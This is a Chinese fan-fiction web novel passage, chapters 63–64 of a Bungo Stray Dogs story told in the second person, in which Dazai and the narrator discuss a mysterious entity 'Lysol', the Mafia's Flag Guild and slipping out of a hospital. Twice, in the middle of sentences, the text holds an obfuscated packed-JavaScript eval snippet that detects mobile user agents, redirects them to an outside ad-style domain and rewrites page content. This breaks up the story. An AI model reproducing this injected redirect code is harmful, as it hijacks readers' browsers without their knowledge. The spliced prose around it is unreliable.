而太宰之前吃蟹肉罐头时虽然也因为赶时间加快了速度,但他现在的动作不疾不徐,吃饭的速度收放自如的同时,还能近乎本能地在吃东西时听取银的汇报,接收信息,并时不时提出问题—— 若是幼年时缺少食物,几乎是不可能在吃饭的同时,轻松做到高效地汲取与处理信息的。 也就是说,也许太宰治在遇到森的时候,的确流浪过,但他最早的出身,大概率不是贫民窟或者孤儿院。 “关于组合近日的动向,中也先生捉摸不透,希望知晓您的意见。” “哦?”太宰伸手,银将一份报告递到他的手中。 你瞥了一眼,“……组合成员在各情报机构收集一切关于‘Lysol’的信息,并报出了高昂的赏金”…… Lysol——来苏。 63.第六十三章 就在太宰一手拿着饭勺,一手翻着报告的时候,一直埋头吃面的你,突然开口了。 “我知道这个Lysol。” 太宰和银顿时把视线移向了你。 “那是个来自星空的诡异存在。”你说,“我不建议我们与祂扯上联系,那是个危险的家伙。” “和朔君来自同一个地方?”太宰问。 这句话问的很奇怪,就算他知道你不是二叶亭彻,也不应该知道你来自哪里。 你的真正来历,没有人类能知道。太宰治也不行。 你点了点头。 “朔君……”太宰轻轻叹了口气,他眯了眯眼,“越是危险,越需要加以控制。本来觉得只是稍加留意就好,但朔君这样说的话,看来得重点关照一下了啊。” “虽然我还是认为,最好不要去接触,但既然太宰先生发话,那去组合领赏金也不错。”你笑了笑。 “小银。”太宰将报告交还芥川银,“让干部Ace在横滨外的情报网查一下这个家伙,若是能查到,把信息直接汇报给我。如果他和组合都查不到,就说明这个家伙是在横滨内出现的,把消息转给特务科和军警,让他们也多加留意,把压力转到他们身上。” 小银认真地把太宰的话记了下来。 “还有——”太宰说,“组合会去调查这个名不见经传的Lysol,想必是有所接触,查一下他们是为什么、在哪里接触的。这个任务交给旗会,由钢琴家负责把具体任务分派下去……” 他顿了一下,抬头用带有笑意的好看眼睛注视着你,“朔君有加入旗会的想法吗?” “旗会?” “Mafia最优秀的年轻一代聚集起来形成的组织,里面都是干部的候选者,中也以前就是旗会的成员呢,他那时候的代号是宝石王。”太宰仿佛回忆着什么,“虽然中也不知道,但二叶亭君暗地里给他带来过很多麻烦……” “诶?” “因为二叶亭君很早就开始查宝石了嘛,中也刚好是负责这部分的。”太宰说,“军警一调查,中也的任务就很容易中断或者失败。” “太宰先生有加入旗会吗?”你问。 “那倒没有——”太宰垂下眼帘。 “太宰先生作为Mafia内最优秀的青年,都没有加入旗会,那我还是考虑一下吧。”你说。 “唉呀,你这家伙……我没加入旗会是个人原因,不是他们不优秀。”太宰轻轻笑了起来,“这个Lysol和教堂案说不定会有关联,也可以去调查一下,这个任务就——” “交给我。”你说。 太宰微笑着注视你几秒后,颔首道,“嗯、交给朔君。” 银把太宰交代的任务全部记下,过了好一段时间,等太宰把所有的信息看完,才又抱着文件离开了病房。 这时候已经到夜晚了,他看了看你碗中剩下的溏心蛋,“不喜欢吃这个吗?” “不,我是发现太宰先生总是盯着它,觉得太宰先生会想吃。”你把碗推到他面前,“我的筷子没有碰到,太宰先生尝尝?” 太宰失笑,“Mafia还没有落魄到吃不起溏心蛋……” “但是感觉太宰先生不像会因为临时想吃,特意叫人做一份的那种人。”你说,“很多临时想吃的东西,等到第二天,甚至十分钟后、五分钟后,做好新的一份,就不会想吃了,所以还是现在就把想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13465651|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃的吃掉吧。” “也有另外一种发展。”太宰说,“欲望因为没有在短时间内被满足,所以随着时间的推移,变得越发深重。说不定到明天就会更想吃了,即使今天还能忍受,明天就会到一种非吃不可的地步,到时候再去满足,不是更令人高兴吗?” “或许会失望的。”你说,“期待已久的愿望,真的能与期待的时间相匹配吗?明天再吃的话,就会发现,只不过是一个溏心蛋而已,这时候抱有多大的希望,就会有多大的失望,最后反而更难过了。” “但是这也是无可避免的吧。”太宰说,“如果不刻意留下一些值得期待的事,那该怎么忍受时光流逝时漫长的枯燥乏味啊,比起苍白的空洞,即使是失望,感受起来也会温柔许多。” “如果期待的事一件件地达成,却换来了一个又一个的失望……” “好啦,朔君。”太宰眯眼笑着,把碗推回你的面前,“我还没问,朔君是怎么知道Lysol的呢。” “在费奥多尔先生那里知道的。”你撒谎道。 “又是他。”太宰似乎没有怀疑,“能和我详细说说吗?” “我知道的也不多,祂的身份目的都不明了,我只是直觉上感觉到了诡异而已……”你说,“给人带来这种感觉的,绝对不是人类。” “这样啊……”太宰若有所思,他看看你受伤的手臂,再看看你的脚踝,突然问道,“伤势怎么样?” “能走,不能跑。”你说。 太宰双掌倏地合起,掌心发出脆响,做出了莫名其妙的决定,“好、我们溜出去吧!去找那个叫Lysol的家伙,行动代号为‘就这么愉快地去捕捉非人类吧计划’!” 64.第六十四章 你先推开了病房的门,在门外守卫未料想到的时刻,提出问题再自行解答,瞬间控制了病房门口的守卫。 由于你的异能的隐蔽性极高,在走廊尽头看守电梯的守卫眼中,你只是和他们说了几句话而已。 随后,你走到电梯口,如法炮制,用异能控制住守卫。 太宰慢悠悠地从病房中走出来,此时的他已经换下了病号服,穿上了自己的衬衫和外套,“朔君的异能还真是方便啊。” “是因为太宰先生的守卫对我没有一丁点戒备心。”你说,“太宰先生大概和他们说过,‘朔是可以相信的人’这样的话吧?” 太宰笑而不答,他轻轻抬了抬下巴,示意你去看走廊角落里的监控。 “监控室的人,朔君打算怎么办呢?” “用同样的办法就可以。太宰先生走出病房,一定会引起他们的注意,所以——” 你抬头,向监控招了招手,然后清了清嗓子,“‘那只黄金色的鸟儿为什么总是从早晨歌唱到晚上?’‘因为它相信,这样的话,它的歌声就能被它一直等待的人听见。’” 这两句台词出自公关官去年出演的电影《当我的眼触碰你的眼》,这部电影在具备极高商业性的同时,还有着一定的文艺性,已经成为了公关官的代表作之一,在横滨很是受欢迎,在全球也有着不小的知名度。 而你说的台词,正是在星际中流浪的仿生人女主角和盲人男主角的对白。 女主角欺骗男主角,告诉他总是听见的噪音来自一只金色的飞鸟,但实际上,那只是因为女主角身上自带的歌唱模块在战斗中损坏了,一直在发出嘈杂的类似鸟叫的声音。 太宰明显也对此有所了解,“朔君还看爱情电影?” “没有,我只看了柴田君近年的电影。”你说,“毕竟柴田君让我得到了那么多的关注。” 其实你这几天并没有时间去看。 你到底是什么时候看的,谁知道呢?也许是在梦里看的吧。 “原来如此……异能成功了吗?”太宰问。 你点了点头,忽然道,“但是没有对太宰先生发动成功。” “因为我的异能是异能无效化。”太宰说。 “咦、这么大的秘密就这样告诉我了……” “反正朔君肯定也猜测到了嘛——”太宰浅浅地笑了笑,“毕竟朔君这么聪明,就算现在猜不到,以后接触得多了,迟早也能猜到的。更何况,Mafia的干部们其实都知道我的异能是什么。中也、红叶姐……都很熟悉我的异能。” “我还不是干部呢。”你说。 “朔君很有干部的潜力。” “我才不要当干部——”你摇了摇头,“好麻烦哦。太宰先生还是从旗会里选吧。” 太宰轻轻叹了口气,“钢琴家的异能很有经济价值,的确是干部的有力候选,但是在贸易相关的知识,以及如何结合知识,把异能发挥出最大效用上,还有所欠缺。” “信天翁的性格很好,在Mafia中十分有人缘,但他的实力还没有强大到中也那样的程度,其他的技能也是均衡发展,没有到顶尖,虽然他掌握着Mafia的交通方面,但他其实没有找到自己究竟想要踏上怎样的道路,还需要多加历练。” “其实我对医生抱有期望,但这家伙立下了大宏愿,所以我和他说,等他的理想完成,就让他成为干部。不过,从现在的情况上看,等他完成‘拯救两百万人的生命’的愿望,至少还得等十年……他会杀人也会救人,但他不擅长成为救世主。” “公关官是最有希望成为干部的,他的职能方向和其他人都不一样,他是Mafia在影视这一块部署的顶梁柱,也是对外交涉不可缺少的人才。近年来网络迅速发展,我认为Mafia需要在这方面上多加重视,也许这方面可以比海外贸易更先成为横滨摆脱困境的突破口。但他私下和我说,他还不认为自己有成为干部的资格,他想先成为全球知名的巨星,所以我只能先支持他尽可能完成梦想。” “至于冷血,这是个没有异能、仅凭自身能力就成为准干部的优秀杀手。我和他说,只要能够击败魏尔伦,他就能代替魏尔伦成为新的在暗杀方面的干部。但他直到现在,他也没成功。不提魏尔伦本身就是被称为暗杀王的存在,他在异能上的优势也实在太过巨大了……所以,如果他知道你击败了魏尔伦,说不定会更信服朔君的能力……” “太宰先生对旗会的大家都很了解呢。”你说。 “毕竟这些年轻人才是未来的希望嘛。” “太宰先生也是未来的希望。” “我?哈……”太宰笑了笑,并不接话,“了解了这么多,朔君有加入旗会的打算吗?” “没有。”你说,“倒不是抵触他们,只是感觉加入旗会和成为干部一样麻烦。太宰先生好像很希望我加入旗会?” “得到他们的支持的话,朔君在Mafia内做什么都会顺利很多。” “有太宰先生作为后盾,才能更顺利。” “我可不会成为你的后盾。”太宰说无情的话的时候,语气中含带笑意,听起来竟也没那么无情了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13482064|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不成为也不行,太宰先生可是我的监护人呢。你刚才说了这么多,让我深入了解旗会,肯定是想把干部的责任、甚至更多的责任推到我的身上。”你说,“我才不会让太宰先生如意。” 太宰微微一笑,没有再说话。 这时候你们已经通过电梯离开了医院,在离开的过程中,你与太宰交谈的同时,没有忘记使用异能催眠他人。 也许是因为换了身合适的衣服,秋夜的晚风没有像前些天那样,给你带来太深的寒意。 “朔君的异能,隔着屏幕果然也是可以发动的啊。”过了一会儿,太宰忽然说道。 他的手插在外套口袋里,抬头看着医院窗户透出来的灯光,钢筋水泥把灯光分成一小格一小格的。 “有试过同一时间控制的数量上限为多少吗?” “……没有。”你说,“但是多了的话,应该会很疲惫吧,需要同时下达很多指令。” “精神方面的限制吗。”太宰眯着眼睛,他转过身,整了整额前因为夜风而挡住右眼的黑发,“这个是有办法解决的。” “太宰先生是想说……”你紧紧跟着他。 太宰对于横滨的偏僻小路很熟悉,你们一路上都没有遇见什么人。 “朔君有没有想过,将提问与回答的话语录下来,发到网络上呢?”太宰脸上的笑容十分温和无害,但他提出的想法堪称惊悚。 “……”你偏过头注视着他的侧脸。 “这样一来,只要有人点击进去,就会受到蛊惑,成为你的眷属了。”太宰轻声说。 如果这件事真的发生,大量的人类受到你的蛊惑,那就是比群体失忆事件更严重的公共安全事件。 “会被特务科第一时间发现,然后立即删除视频或者录音,防止影响扩散的吧。”你说。 “没必要把他们想的太强大,但朔君说的也不错。”太宰点了点头,“所以啊——如果要办到蛊惑大量人群,有两条路径。一条是让像费奥多尔君那样的顶级黑客,同时在世界范围内大规模投放你的异能录音录像,强制让人们听到你的异能。而另一条是,在各国异能机构发现前,已经有大量的人类点进你的异能录音录屏,受到了蛊惑。” “要满足第二点的要求,就需要我拥有大量的声望……”你想了想,“这就是太宰先生让公关官转发我的动态,让我引起群众注意的缘由。” “不错,很聪明。”太宰在巷道的影子中温和地笑道,“朔君是个好孩子,但我希望朔君能多一张底牌……即使这张底牌,可能永远不会使用出来。”